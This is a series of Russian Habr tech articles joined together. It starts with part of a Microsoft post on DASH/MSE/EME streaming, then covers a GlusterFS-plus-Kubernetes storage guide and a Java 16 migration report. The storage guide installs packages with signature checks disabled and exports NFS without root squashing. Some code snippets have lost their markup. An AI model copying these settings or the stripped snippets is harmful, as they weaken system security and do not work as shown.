Как следует из схемы выше, PlayReady DRM от Microsoft поддерживает две модели DRM-защиты: «программная DRM», использующая традиционный программный путь защиты медиа-контента, и «аппаратная DRM», использующая возможности железа для защиты, если соответствующая опция поддерживается устройством. Аппаратная DRM была спроектирована для удовлетворения требованиям защиты коммерческого медиа-контента и позволит стриминг контента в самом высоком доступном качестве. Не все устройства будут поддерживать аппаратную защиту, но сайты, использующие MSE/EME, могут подстраиваться под разницу и отдавать контент в наилучшем доступном качестве в зависимости от браузера или устройства.
Поддержка со стороны Microsoft
------------------------------
Как и с любой другой новой технологией, переход к стеку DASH/MSE/EME/CENC может быть непростым. Возможные сложности включают:
* MSE работает за счет разрешения JavaScript-клиенту отсылать один или более sourceBuffer в качестве источника для медиа-элемента и динамически загружать и присоединять медиа-фрагменты к sourceBuffer. Это предоставляет сайтам точный контроль над опытом пользователя, но также требует заметных инвестиций в разработку сайта.
* Большие существующие библиотеки медиа-контента были закодированы в форматах, не поддерживаемых напрямую в MSE/EME. Такие библиотеки надо либо поддерживать некоторым образом через новые API, либо перекодировать. Примером такого формата может быть Silverlight Smooth Streaming, который использовался сайтами с Silverlight-плагинами. Решение, которое могло бы проигрывать такой контент напрямую, было бы полезным для любой технологии, замещающей Silverlight.
* MSE/EME взрослеют, но все еще претерпевают изменения, которые могут влиять на совместимость с разными медиа-форматами и между браузерами.
Стремясь помочь индустрии в создании совместимых решений доставки медиа-контента, мы инвестируем в технологии, позволяющие адресовать эти проблемы.
### DASH Type 1: MSE стал проще
DASH-контент обычно состоит из медиа-файлов, закодированных в разных уровнях качества, и манифеста, предоставляющего информацию о файлах медиа-приложению. MSE-плеер далее отвечает за парсинг таких файлов, загрузку наиболее подходящего контента и отправку в sourceBuffer(ы) медиа-элемента. Это очень гибкое решение, которое, однако, требует инвестиций в разработку реализации MSE на сайте или использования готовой реализации MSE, например, упомянутой библиотеки DASH.js.
Есть также другой более простой вариант: нативный DASH-стриминг, при котором код сайта просто говорит, что манифест является источником для медиа-элемента, а проигрыватель автоматически управляется встроенным в браузер движком стриминга. Такой подход позволяет веб-разработчикам пользоваться опытом и инвестициями, сделанными разработчикам браузеров, и с легкостью предоставлять премиальный контент на своих сайтах. Мы добавили нативную поддержку DASH-стриминга в Windows 10 и Microsoft Edge, дополнительные детали доступны в предыдущей статье: "[Simplified Adaptive Video Streaming: Announcing support for HLS and DASH in Windows 10](http://blogs.msdn.com/b/ie/archive/2015/01/29/simplified-adaptive-video-streaming-announcing-support-for-hls-and-dash-in-windows-10.aspx)".
### DASH-библиотека на JavaScript, которая проигрывает Smooth-контент
Часть веб-сайтов имеют большие библиотеки медиа-контента, закодированного в формат Smooth Stream, и ищет способы перейти к совместимому решению на HTML5. Одним из возможных путей является использование js-библиотеки, которая поддерживала бы текущий контент через MSE/EME без необходимости перекодирования. Сегодня такие библиотеки доступны, например, есть версия библиотеки “hasplayer.js”, которая делает именно это и [выложена на GitHub](https://github.com/eiximenis/hasplayer.js).
Данная библиотека базируется на [dash.js](https://github.com/Dash-Industry-Forum/dash.js) и позволяет проигрывать как чистый, так и защищенный Smooth-контент с использованием PlayReady в Microsoft Edge. Это клиентская JavaScript-библиотека, которая транслирует необходимым образом контент и манифест и при этом является совместимой с другими браузерам. Благодаря включению полифила для поддержки EME, она может быть легко расширена для поддержки DRM-решений из других браузеров.
Ниже пример кода на JavaScript, который использует hasplayer.js для запроса и проигрывания DASH- или Smooth-медиа файла:
```
function setupVideo(url) {
var context = new Custom.di.CustomContext();
var player = new MediaPlayer(context);
player.startup();
player.attachView(document.querySelector('#videoplayer'));
player.setAutoPlay(true);
player.attachSource(url);
}
```
Это существенным образом облегчает поддержку стриминга Smooth-контента на сайте. Мы сделали [пример “Contoso Video” в репозитарии на GitHub](https://github.com/Gr8Gatsby/ContosoVideo), использующий эту библиотеку для проигрывания видео. Мы можете попробовать его сами на [демо-сайте Contoso Video](http://contosovideo.azurewebsites.net/).
*• Рендеринг в Microsoft Edge
• Chakra JavaScript Engine
• HTML/CSS/JS с сервера*
Библиотека для трансляции Smooth Streaming контента на стороне клиента возможна вследствие того, что формат PIFF (Protected Interoperable File Format), лежащий в основе протокола Smooth Streaming, был положен в основу спецификации для формата ISOBMFF (ISO Base Media File Format), используемого в DASH, и также из-за того, что PIFF предлагает мульти-DRM протокол, который был стандартизирован как ISO MPEG Common Encryption (CENC).
Сегодня широко распространены сегодня: PIFF 1.1 и PIFF 1.3 – и библиотека hasplayer.js для Smooth-стриминга в MSE/EME поддерживает оба формата. Библиотека на лету преобразует из формата PIFF в формат CMF (Common Media Format), используемый с DASH. Это позволяет быть уверенным в том, что весь контент, проигрываемый библиотекой в браузере, соответствует DASH CMF и может проигрывать во всех браузерах, поддерживающих MSE.
### Медиа-сервисы
Некоторые владельцы контента предпочитают сфокусироваться на производстве качественного материала, а не технических деталях доставки контента до зрителей. Таки компании могут воспользоваться сервисами хостинга медиа-контента, которые подготавливают его для веб-доставки, управляют логикой стриминга и UI плеера, а также управляют серверами с DRM-лицензиям. **Azure Media Services предлагает такие возможности сегодня**, включая поддержку как PlayReady, так и Widevine DRM систем. Этот сервис предоставляе поддержку для видео по запросу (Video on Demand, VoD) и живого стриминга (live streaming). В Azure подается единый файл/поток в высоком качестве, а далее он берет на себя динамические сжатие и шифрование в CENC-защищенный контент, которые может передаваться на конечные устройства. Также для разработчиков доступно готовое решение с плеером для вставки на ваш сайта. Некоторые детали этого сервиса были недавно анонсированы в статье “[Azure Media Services delivers Widevine encrypted stream by partnering with castLabs](http://azure.microsoft.com/blog/2015/06/15/azure-media-services-delivers-widevine-encrypted-stream-by-partnering-with-castlabs/)”.
Хостящиеся веб-приложения
-------------------------
Еще одно большое преимущество перехода на стриминг с помощью DASH/MSE/EME/CENC заключается в том, что тот же самый код, что работает на вашем сайте, может быть упакован в приложение для универсальной Windows-платформы (UWP). UWP-приложения могут работать на всех устройствах с Windows 10. Другими словами, разработчик веб-сайта может создать совместимый с разными браузерами плеер на сайте и Windows-приложение, использующее этот же код. Общий код будет управлять UI и разбираться с деталями медиа-стриминга и(!) также сможет воспользоваться возможностями, доступными только приложениям через WinRT API:
Такие хостящиеся веб-приложения:
* Предлагаются через Windows Store
* Могут взаимодействовать с Cortana (“Contoso Video play elephants”)
* Могут отсылать уведомления (“Показ финала NBA начнется через 15 минут”)
* Имеют доступ к расширенной поддержке адаптивного стриминга
* Имеют доступ к улучшенной защите контента для проигрывания в Full HD и Ultra-HD
* Могут обновлять живые плитки
* И многое другое!
Мы рассказывали о возможностях хостящихся приложений в нашем докладе “[Hosted web apps and web platform innovations](http://channel9.msdn.com/Events/WebPlatformSummit/2015/Hosted-web-apps-and-web-platform-innovations)” на [Microsoft Edge Web Summit 2015](http://devchannel.modern.ie/websummit2015). Вы также можете найти подробности в [документации на MSDN](https://msdn.microsoft.com/en-us/library/windows/apps/dn705792.aspx).
### Демонстрация хостящегося приложения
Мы взяли демонстрационный сайт Contoso Video, упомянутый выше, и упаковали его в виде UWP приложения, использующего возможности API Windows-платформы. Эта демонстрация показывает, насколько просто взять базовый видео-плеер и интегрировать в него голосовые команды через Кортану. Пример также настраивает цвета панели с заголовком приложения. Весь JavaScript-код является часть HTML-сайта, который развернут с использованием стандартных для веб-разработчиков процедур.
*• Сохраняется рендеринг от Microsoft Edge
• Сохраняется Chakra – JavaScript-движок
• HTML/CSS/JS-код загружается с сервера или локально
• Добавлен доступ к нативным Windows APIs
• Доступно через каталог Windows Store*
Для интеграции Кортаны в хостящееся веб-приложение (Hosted Web App, HWA) нужны три файла: файл [Voice Command Definition (VCD)](https://msdn.microsoft.com/en-us/library/windows/apps/dn722331.aspx) и по одному файлу на JS и HTML.
### Файл Voice Command Definition (VCD)
VCD-файл определяет действия, которые вы хотите поддерживать через голосовые команды. Код ниже информирует Кортану об имени приложения (Contoso Video), поддержке команды “play” и как состояние “playing” должно отображаться в UI приложения.
```
xml version="1.0" encoding="utf-8"?
Contoso Video
Contoso video play elephants
play {message} using contoso video
please play {streamSubject}
playing {streamSubject} with Contoso Video
```
### Файл JavaScript
JavaScript-код должен слушать событие активации и проверять голосовые команды VoiceCommand.
```
// Handle Cortana activation adding the event listener before DOM
// Content Loaded parse out the command type and call the
// respective game APIs
if (typeof Windows !== 'undefined') {
console.log("Windows exists!");
// Subscribe to the Windows Activation Event
Windows.UI.WebUI.WebUIApplication.addEventListener("activated", function (args) {
var activation = Windows.ApplicationModel.Activation;
// Check to see if the app was activated by a voice command
if (args.kind === activation.ActivationKind.voiceCommand) {
var speechRecognitionResult = args.result;
var textSpoken = speechRecognitionResult.text;
// Determine the command type {play} defined in vcd
if (speechRecognitionResult.rulePath[0] === "play") {
// Determine the stream name specified
if (textSpoken.includes('elephants') || textSpoken.includes('Elephants')) {
// Movie selected is Elephants Dream
setupVideo("http://amssamples.streaming.mediaservices.windows.net/b6822ec8-5c2b-4ae0-a851-fd46a78294e9/ElephantsDream.ism/manifest(filtername=FirstFilter)");
}
else if (textSpoken.includes('Steel') || textSpoken.includes('steel')) {
// Stream selected is Tears of Steel
setupVideo("http://amssamples.streaming.mediaservices.windows.net/bc57e088-27ec-44e0-ac20-a85ccbcd50da/TearsOfSteel.ism/manifest");
}
else {
// No stream specified by user
console.log("No valid stream specified");
}
}
else {
// No valid command specified
console.log("No valid command specified");
}
}
});
}
```
### Файл HTML
В HTML-файле нужно добавить мета-элемент, указывающий на VCD-файл на вашем сервере.
```
Adaptive Streaming in HTML5
Contoso Video
=============
```
С добавлением VCD-файла и обновлениями HTML и JS файлов на сайте, наш пример Contoso Video теперь может быть упакован как UWP-приложение, которое будет работать на всех устройствах с Windows 10. Причем пользователи могут запускать приложение на проигрывание видео, сказав, например, “Contoso, play Tears of Steel”. Кортана распознает команду, запустит приложение Contoso Video и начнет проигрывание видео “Tears of Steel”.
*Contoso Video в Кортане*
*Contoso Video в меню приложений*
Полные исходники примеров сайта и приложения Contoso Video доступны в репозитории [Contoso Video Sample на GitHub](https://github.com/Gr8Gatsby/ContosoVideo).
Заключение
----------
Совокупность DASH/MSE/EME/CENC предлагает замену решениям, базирующимся на плагинах. Мы быстро движемся к достижению широкой совместимости в проигрывании медиа-контента. От этой трансформации выиграют как поставщики контента, так и зрители. Хотя адаптация технологий может вызывать затруднения в коротко-срочном периоде, возможности и варианты решения, которые мы обсуждали в этой статье, призваны помочь компаниям преодолеть эти сложности.
Будем рады услышать ваши отзывы, чтобы мы могли продолжать улучшать решения по стримингу медиа-контента и инструменты и подходы, о которых мы рассказывали. Пишите нам в твиттер [@MSEdgeDev](https://twitter.com/MSEdgeDev). | https://habr.com/ru/post/265259/ | null | ru | null |
# GlusterFS как внешнее хранилище для Kubernetes
Поиск оптимального хранилища — это довольно сложный процесс, у всего есть плюсы и минусы. Разумеется, лидером в данной категории является CEPH, но это довольно сложная система, хотя и с очень богатым функционалом. Для нас такая система избыточна, учитывая то, что нам нужно было простое реплицируемое хранилище в режиме master-master на пару терабайт. Изучив много материала, было принято решение протестировать наиболее модный на рынке продукт для интересующей нас схемы. В связи с тем, что готового решения подобного плана найдено не было, хочется поделиться своими наработками по данной теме и описать проблемы, с которыми мы столкнулись в процессе развертывания.
Цели
----
Что мы ждали от нового хранилища:
* Возможность работы с четным числом нод для репликации.
* Простая установка, настройка, поддержка
* Система должна быть взрослой, проверенной временем и пользователями
* Возможность расширения места на хранилище без простоя системы
* Хранилище должно быть совместимо с Kubernetes
* Должен быть автоматический Failover при падениях одного из узлов
Именно по последнему пункту у нас и возникло много вопросов.
Развертывание
-------------
Для развертывания было создано две виртуалки на CentOs 8. К каждой подключено по дополнительному диску с СХД.
#### Предварительная подготовка
Для GlusterFS нужно выделить отдельный диск с XFS, чтобы он никак не влиял на систему.
Выделяем партицию:
```
$ fdisk /dev/sdb
Command (m for help): n
Partition type
p primary (0 primary, 0 extended, 4 free)
e extended (container for logical partitions)
Select (default p): p
Partition number (1-4, default 1): 1
First sector (2048-16777215, default 2048):
Last sector, +sectors or +size{K,M,G,T,P} (2048-16777215, default 16777215):
Created a new partition 1 of type ‘Linux’ and of size 8 GiB.
Command (m for help): w
The partition table has been altered.
Calling ioctl() to re-read partition table. Syncing disks.
```
Форматируем в XFS и монтируем:
```
$ mkfs.xfs /dev/sdb1
$ mkdir /gluster
$ mount /dev/sdb1 /gluster
```
И в довершении закидываем запись в /etc/fstab для автоматического монтирования директории при запуске системы:
```
/dev/sdb1 /gluster xfs defaults 0 0
```
#### Установка
По поводу установки написано много статей, в связи с этим сильно углубляться в процесс не будем, просто рассмотрим то, на что стоит обратить внимание.
На обеих нодах ставим и запускаем glusterfs последней версии:
```
$ wget -P /etc/yum.repos.d https://download.gluster.org/pub/gluster/glusterfs/LATEST/CentOS/glusterfs-rhel8.repo
$ yum -y install yum-utils
$ yum-config-manager --enable PowerTools
$ yum install -y glusterfs-server
$ systemctl start glusterd
```
Дальше надо сказать гластеру где его соседняя нода. Делается только с одной ноды. Важный момент: если у вас доменная сеть, то тут обязательно указывать имя сервера с доменом, иначе в будущем придется все переделывать.
```
$ gluster peer probe gluster-02.example.com
```
Если прошло успешно, то проверяем связь командой с обоих серверов:
```
$ gluster peer status
Number of Peers: 1
Hostname: gluster-02.example.com
Uuid: a6de3b23-ee31-4394-8bff-0bd97bd54f46
State: Peer in Cluster (Connected)
Other names:
10.10.6.72
```
Теперь можно создать Volume в который мы будем писать.
```
gluster volume create main replica 2 gluster-01.example.com:/gluster/main gluster-02.example.com:/gluster/main force
```
Где:
* main — название Volume
* replica — тип Volume (подробнее можно прочитать в [официальной документации](https://docs.gluster.org/en/latest/Administrator%20Guide/Setting%20Up%20Volumes/))
* 2 — количество реплик
Запускаем Volume и проверяем его работоспособность:
```
gluster volume start main
gluster volume status main
```
Для реплицируемых Volume рекомендуется установить следующие параметры:
```
$ gluster volume set main network.ping-timeout 5
$ gluster volume set main cluster.quorum-type fixed
$ gluster volume set main cluster.quorum-count 1
$ gluster volume set main performance.quick-read on
```
Этими простыми действиями мы собрали кластер GlusterFS. Осталось подключиться к нему и проверить работоспособность. На клиентской машине установлена Ubuntu, для монтирования нужно установить клиент:
```
$ add-apt-repository ppa:gluster/glusterfs-7
$ apt install glusterfs-client
$ mkdir /gluster
$ mount.glusterfs gluster-01.example.com:/main /gluster
```
Gluster при подключении к одной из нод, отдает адреса всех нод и автоматически подключается ко всем. Если клиент уже подключился, то отказ одной из нод не приведет к остановке работы. Но вот если будет недоступен первый узел, подключиться в случае разрыва сессии уже не получится. Для этого при монтировании можно передать параметр backupvolfile с указанием второй ноды.
```
mount.glusterfs gluster-01.example.com:/main /gluster -o backupvolfile-server=gluster-02.example.com
```
Важный момент: gluster синхронизирует файлы между нодами только если их изменение было через монтированный volume. Если делать изменения напрямую на нодах, будет рассинхрон файлов.
Подключение к Kubernetes
------------------------
На этом этапе и начались вопросы: «А как это подключить?». И здесь есть несколько вариантов. Рассмотрим их.
#### Heketi
Самый популярный и рекомендуемый — использовать внешний сервис: heketi. heketi — это прослойка между kubernetes и gluster, которая позволяет управлять хранилищем через http и работать с ним. Но heketi и будет той самой единой точкой отказа, т.к. сервис не кластеризуется. Второй инстанс данного сервиса не сможет самостоятельно работать, т.к. любые изменения хранятся в локальной БД. Запуск в kubernetes данного сервиса также не подходит, т.к. ему нужен статичный диск, на котором будет хранится его БД. В связи с этим данный вариант оказался самым не подходящим.
#### Endpoint в Kubernetes
Если у вас Kubernetes на системах с пакетными менеджерами, то это очень удобный вариант. Смысл заключается в том, что для всех серверов GlusteFS в Kubernetes создается общий Endpoint. На этот Endpoint вешается сервис и к этому сервису мы уже будем монтироваться. Для работы данного варианта необходимо на каждой ноде Kubernetes установить glusterfs-client и убедиться в возможности монтирования. В Kubernetes деплоим следующий конфиг:
```
apiVersion: v1
kind: Endpoints
metadata:
name: glusterfs-cluster
subsets:
- addresses:
#Тут указываем ip наших серверов
- ip: 10.10.6.71
ports:
#Тут просто можно оставить 1, порт роли не играет
- port: 1
- addresses:
- ip: 10.10.6.72
ports:
- port: 1
---
apiVersion: v1
kind: Service
metadata:
name: glusterfs-cluster
spec:
ports:
- port: 1
```
Теперь мы можем создать простой тестовый деплоймент и проверить как происходит монтирование. Ниже пример простого тестового деплоймента:
```
apiVersion: apps/v1
kind: Deployment
metadata:
name: gluster-test
spec:
replicas: 1
selector:
matchLabels:
app: gluster-test
template:
metadata:
labels:
app: gluster-test
spec:
volumes:
- name: gluster
glusterfs:
endpoints: glusterfs-cluster
path: main
containers:
- name: gluster-test
image: nginx
volumeMounts:
- name: gluster
mountPath: /gluster
```
Данный вариант нам не подошел, потому что у нас на всех нодах Kubernetes стоит container-linux. Пакетного менеджера там нет, поэтому установить gluster-client для монтирования не удалось. В связи с этим был найден третий вариант, который и было решено использовать.
#### GlusterFS + NFS + keepalived
GlusterFS до недавнего времени предлагал собственный NFS сервер, но теперь для NFS используется внешний сервис nfs-ganesha. Об этом написано довольно немного, в связи с этим разберем как это настроить.
Репозиторий нужно прописать вручную. Для этого в файле /etc/yum.repos.d/nfs-ganesha.repo вносим:
```
[nfs-ganesha]
name=nfs-ganesha
baseurl=https://download.nfs-ganesha.org/2.8/2.8.0/RHEL/el-8/$basearch/
enabled=1
gpgcheck=1
[nfs-ganesha-noarch]
name=nfs-ganesha-noarch
baseurl=https://download.nfs-ganesha.org/2.8/2.8.0/RHEL/el-8/noarch/
enabled=1
gpgcheck=1
```
И устанавливаем:
```
yum -y install nfs-ganesha-gluster --nogpgcheck
```
После установки проводим базовую конфигурацию в файле /etc/ganesha/ganesha.conf.
```
# create new
NFS_CORE_PARAM {
# possible to mount with NFSv3 to NFSv4 Pseudo path
mount_path_pseudo = true;
# NFS protocol
Protocols = 3,4;
}
EXPORT_DEFAULTS {
# default access mode
Access_Type = RW;
}
EXPORT {
# uniq ID
Export_Id = 101;
# mount path of Gluster Volume
Path = "/gluster/main";
FSAL {
# any name
name = GLUSTER;
# hostname or IP address of this Node
hostname="gluster-01.example.com";
# Gluster volume name
volume="main";
}
# config for root Squash
Squash="No_root_squash";
# NFSv4 Pseudo path
Pseudo="/main";
# allowed security options
SecType = "sys";
}
LOG {
# default log level
Default_Log_Level = WARN;
}
```
Нужно стартовать сервис, включить nfs для нашего volume и проверить то, что он включился.
```
$ systemctl start nfs-ganesha
$ systemctl enable nfs-ganesha
$ gluster volume set main nfs.disable off
$ gluster volume status main
```
В результате статус должен показать что запустился nfs сервер для нашего volume. Нужно сделать mount и проверить.
```
mkdir /gluster-nfs
mount.nfs gluster-01.example.com:/main /gluster-nfs
```
Но данный вариант не отказоустойчив, поэтому нужно сделать VIP адрес, который будет ездить между двумя нашими нодами и помогать переключать трафик в случае падения одной из нод.
Установка keepalived в CentOs производится сразу через пакетный менеджер.
```
$ yum install -y keepalived
```
Производим конфигурацию сервиса в файле /etc/keepalived/keepalived.conf:
```
global_defs {
notification_email {
admin@example.com
}
notification_email_from alarm@example.com
smtp_server mail.example.com
smtp_connect_timeout 30
vrrp_garp_interval 10
vrrp_garp_master_refresh 30
}
#Cкрипт для проверки того, что гластер запущен. Если проверка не пройдет, VIP переедет.
vrrp_script chk_gluster {
script "pgrep glusterd"
interval 2
}
vrrp_instance gluster {
interface ens192
state MASTER #Для второй ноды тут будет BACKUP
priority 200 #Для второй ноды тут будет число меньше, например 100
virtual_router_id 1
virtual_ipaddress {
10.10.6.70/24
}
unicast_peer {
10.10.6.72 #на второй ноде тут надо указать будет адрес первой
}
track_script {
chk_gluster
}
}
```
Теперь мы можем запустить сервис и проверить что VIP на ноде появился:
```
$ systemctl start keepalived
$ systemctl enable keepalived
$ ip addr
1: ens192: mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:97:55:eb brd ff:ff:ff:ff:ff:ff
inet 10.10.6.72/24 brd 10.10.6.255 scope global noprefixroute ens192
valid\_lft forever preferred\_lft forever
inet 10.10.6.70/24 scope global secondary ens192
valid\_lft forever preferred\_lft forever
```
Если у нас все заработало, то осталось внести PersistentVolume в Kubernetes и создать тестовый сервис для проверки работы.
```
---
apiVersion: v1
kind: PersistentVolume
metadata:
name: gluster-nfs
spec:
capacity:
storage: 10Gi
accessModes:
- ReadWriteMany
persistentVolumeReclaimPolicy: Retain
nfs:
server: 10.10.6.70
path: /main
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: gluster-nfs
spec:
accessModes:
- ReadWriteMany
resources:
requests:
storage: 10Gi
volumeName: "gluster-nfs"
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: gluster-test
labels:
app: gluster-test
spec:
replicas: 1
selector:
matchLabels:
app: gluster-test
template:
metadata:
labels:
app: gluster-test
spec:
volumes:
- name: gluster
persistentVolumeClaim:
claimName: gluster-nfs
containers:
- name: gluster-test
image: nginx
volumeMounts:
- name: gluster
mountPath: /gluster
```
При данной конфигурации, в случае падения основной ноды, будет простой около минуты, пока mount не отвалится по таймауту и не переключится. Простой в минуту для данного хранилища допустим при том, что это не штатная ситуация и встречаться мы с ней будем редко, но в таком случае система автоматически переключится и продолжит работу, а мы сможем решать возникшую проблему и проводить восстановление не беспокоясь о простое.
Итоги
-----
В данной статье мы рассмотрели 3 возможных варианта подключения GlusterFS к Kubernetes, в нашем варианте возможно добавить provisioner в Kubernetes, но он пока нам не нужен. Осталось добавить результаты тестов производительности между NFS и Gluster на одних и тех же нодах.
Файлы по 1Mb:
```
sync; dd if=/dev/zero of=tempfile bs=1M count=1024; sync
Gluster: 1073741824 bytes (1.1 GB, 1.0 GiB) copied, 2.63496 s, 407 MB/s
NFS: 1073741824 bytes (1.1 GB, 1.0 GiB) copied, 5.4527 s, 197 MB/s
```
Файлы по 1Kb:
```
sync; dd if=/dev/zero of=tempfile bs=1K count=1048576; sync
Gluster: 1073741824 bytes (1.1 GB, 1.0 GiB) copied, 70.0508 s, 15.3 MB/s
NFS: 1073741824 bytes (1.1 GB, 1.0 GiB) copied, 6.95208 s, 154 MB/s
```
NFS работает одинаково при любых размерах файлов, разница в скорости особенно не ощущается, в отличии от GlusterFS, которые при маленьких файлах деградирует очень сильно. Но при этом, при больших размерах файлов NFS показывает производительность в 2-3 раза ниже, чем Gluster. | https://habr.com/ru/post/498160/ | null | ru | null |
# Solar InRights: отрицание, гнев, депрессия, торг, переход на Java 16
Привет! Большинство разработчиков не спешат обновляться до новых версий Java. Многие опасаются, что все сломается, что появятся скрытые баги, что это займет очень много времени. Сегодня мы поделимся опытом перевода IGA-системы [Solar InRights](https://rt-solar.ru/products/solar_inrights/) с Java 8 на актуальную Java 16, расскажем, для чего мы это сделали и почему именно сейчас. Подробно опишем, какие проблемы могут возникнуть при обновлении и как их устранить, а главное – поделимся тем, что мы в итоге получили.
Ранее в разработке мы использовали Java 8. Эта версия платформы и сейчас является достаточно стабильной и функциональной, в целом это понятная и удобная версия.
Однако в экосистеме произошло несколько важных событий, которые подтолкнули нас к переходу:
* Была выпущена Java 9 со значительными архитектурными изменениями. Начиная с этой версии платформа Java является модульной, появляются разные выпуски JVM с различным набором фич. Эти изменения ломают обратную совместимость, и большинство программ, написанных на Java 8, не запускаются на Java 9+.
* С выпуском Java 11 компания Oracle представила новую модель лицензирования и подписки. Теперь нужно особенно внимательно следить за тем, какую версию и где мы используем, чтобы не нарушить лицензию.
* Релиз Java 16 включает множество новых возможностей в языке Java. Да, кто-то обязательно возразит, что аргумент слабый. Можно и дальше пользоваться Java 8, где все понятно, просто и удобно. Но с новыми синтаксическими конструкциями Java 16 писать код удобнее, а отслеживать ошибки проще. Наряду с уже перечисленными причинами это довольно приятный бонус.
У нас появилось свободное время на развитие системы, поэтому мы решили перейти на актуальный выпуск Java, и чем раньше это произойдет, тем легче будет процесс перехода. Версии с 11 по 16 называются промежуточными, потому что у них короткий период поддержки – 6 месяцев. На сентябрь 2021 года запланирован LTS (Long Term Support) релиз Java 17.
Так мы решили перейти на Java 16, чтобы затем быстро перейти на LTS Java 17.
С чем имеем дело
----------------
Система Solar inRights в собранном виде – это веб-приложение в виде war-файла, которое запускается на сервере Tomcat. Для сборки используем Maven. Код организован по функциональным модулям. Один модуль – это один maven-проект.
Система состоит из нескольких слоев:
Мы активно используем Spring для инверсии зависимостей, Hibernate для абстракции над логикой баз данных и JAXB для сериализации данных. Для написания тестов используем язык Groovy, а запускаем тесты с помощью TestNG.
В результате получается модульный монолит, в classpath которого собраны ресурсы от всех зависимостей.
Обновление на Java 16
---------------------
На текущий момент новейшая стабильная версия JDK – это 16. Это preview release, значит некоторые языковые конструкции могут быть изменены или отсутствовать в следующей версии Java.
Мы решили, что будем собирать систему с помощью Liberica JDK 16 с русскоязычной поддержкой, но нам подойдет и OpenJDK, и любая открытая сборка JDK без специальных особенностей.
Просто взять и собрать систему на JDK 16 не получилось. Видим море ошибок, говорящих о том, что наш код обращается к закрытым частям платформы. Теперь нельзя обращаться к com.sun.\*, java.security.\* и прочим внутренностям JDK.
Изменяем работу с XML на использование открытых API.
Было:
```
import
com.sun.org.apache.xerces.internal.jaxp.datatype.XMLGregorianCalendarImpl;
import com.sun.org.apache.xml.internal.utils.XMLChar;
import com.sun.org.apache.xerces.internal.dom.DeferredElementNSImpl;
```
Стало:
```
import javax.xml.datatype.XMLGregorianCalendar;
import org.apache.xerces.util.XMLChar;
import org.w3c.dom.Node;
```
При сборке Maven отказывается читать наши Mojo, потому что не знает, как читать байткод классов, скомпилированных в Java 16. Обновляем версии зависимостей maven-plugin-tools (на текущий момент это 3.6.1):
```
org.apache.maven.plugin-tools
maven-plugin-tools-generators
3.6.1
org.apache.maven.plugin-tools
maven-plugin-tools-api
3.6.1
org.apache.maven.plugin-tools
maven-plugin-tools-annotations
3.6.1
org.apache.maven.plugin-tools
maven-plugin-annotations
3.6.1
org.apache.maven.plugin-tools
maven-plugin-tools-java
3.6.1
```
У Maven также будут проблемы с чтением конфигурации из javadoc. Исправляем формат javadoc в Mojo классах.
Было:
```
/** @parameter default-value="${project}" */
private MavenProject project;
```
Стало:
```
/**
* @parameter default-value="${project}"
*/
private MavenProject project;
```
Обновляем версию плагина Maven для запуска TestNG:
```
org.apache.maven.surefire
surefire-testng
2.22.23.0.0-M5
```
Теперь нужно обновить библиотеки проксирования и манипуляций с байткодом – все, что изменяет внутреннюю структуру классов. У нас получилось так:
```
org.ow2.asm
asm
9.1
org.apache.bcel
bcel
6.5.0
org.codehaus.plexus
plexus-classworlds
2.6.0
```
Поскольку Java 16 является preview версией, необходимо добавить параметр сборки --enable- preview. Для Maven можно создать файл .mvn/jvm.config со следующим содержанием:
```
--enable-preview
```
Это удобно, потому что опция записана в одном месте, и ее можно удалить, когда мы перейдем на LTS выпуск Java 17.
Запуск тестов показал, что внутри нам требуется доступ к инкапсулированным модулям платформы:
```
java.lang.IllegalAccessError: class ... (in unnamed module @0x568bf312)
cannot access class ... (in module java.base) because module
java.base does not export sun.security.util to unnamed module @0x568bf312
```
В несколько итераций получаем подходящий список параметров запуска:
```
--enable-preview
--add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.util.regex=ALL-UNNAMED
--add-opens java.base/java.io=ALL-UNNAMED
--add-opens java.base/java.util.concurrent=ALL-UNNAMED
--add-opens java.base/java.net=ALL-UNNAMED
--add-opens java.base/java.text=ALL-UNNAMED
--add-opens java.base/java.util.stream=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
--add-opens java.xml/javax.xml.datatype=ALL-UNNAMED
--add-opens java.xml/javax.xml.namespace=ALL-UNNAMED
--add-opens java.xml/com.sun.org.apache.xerces.internal.jaxp.datatype=ALL- UNNAMED
--add-exports java.management/sun.management=ALL-UNNAMED
--add-exports java.xml/com.sun.org.apache.xerces.internal.jaxp.datatype=ALL- UNNAMED
```
Последний шаг – обновить сервер приложений Tomcat. Сейчас новейшей версия – 10, и в ней разработчики требуют, чтобы мы переписали все использования javax.\* на jakarta.\* – однако нам подойдет Tomcat 9, его последние сборки тоже поддерживают Java 16.
Наконец, система полностью собрана на Java 16 и может быть запущена на любом JDK. Мы используем Liberica JDK и OpenJDK.
При тестировании мы увидели небольшие различия в поведении системы по сравнению с Java 8:
* Форматирование XMLGregorianCalendar теперь использует формат, настроенный в системе по умолчанию, вместо единого заданного формата. Если мы хотим сохранить прежний формат, мы должны явно его указать.
* Теперь не допускается хранение в resources файлов, имеющих кириллические символы в названии.
* JVM теперь не завершит работу, пока все потоки программы не завершат выполнение. Это хороший повод разобраться с ThreadPool, потому что Tomcat не завершит работу до тех пор, пока они не будут закрыты.
Что дальше
----------
В целом обновление прошло быстро, гладко, без сюрпризов. Что мы получили результате:
* Больше не опасаемся лицензионных ограничений, связанных с Java 8.
* Чуть более безопасную и производительную платформу с закрытыми уязвимостями, исправленными проблемами быстродействия, новыми фичами.
* Новые синтаксические конструкции в языке Java, которые уже давно есть в Kotlin и Groovy (например, улучшенный instanceof, record-классы, текстовые блоки).
* Возможность обновить сторонние зависимости, фреймворки, инструменты.
Java 16 является промежуточным обновлением платформы с коротким циклом поддержки. Мы ожидаем стабильного релиза Java 17 в сентябре, чтобы сразу перевести Solar InRights на LTS выпуск платформы. А это в свою очередь, вместе с обновлением фреймворков и других библиотек, повысит качество продукта в целом.
*Автор: Олег Гетманский, архитектор информационных систем "Ростелеком-Солар"* | https://habr.com/ru/post/572084/ | null | ru | null |
# Как работает FIFO
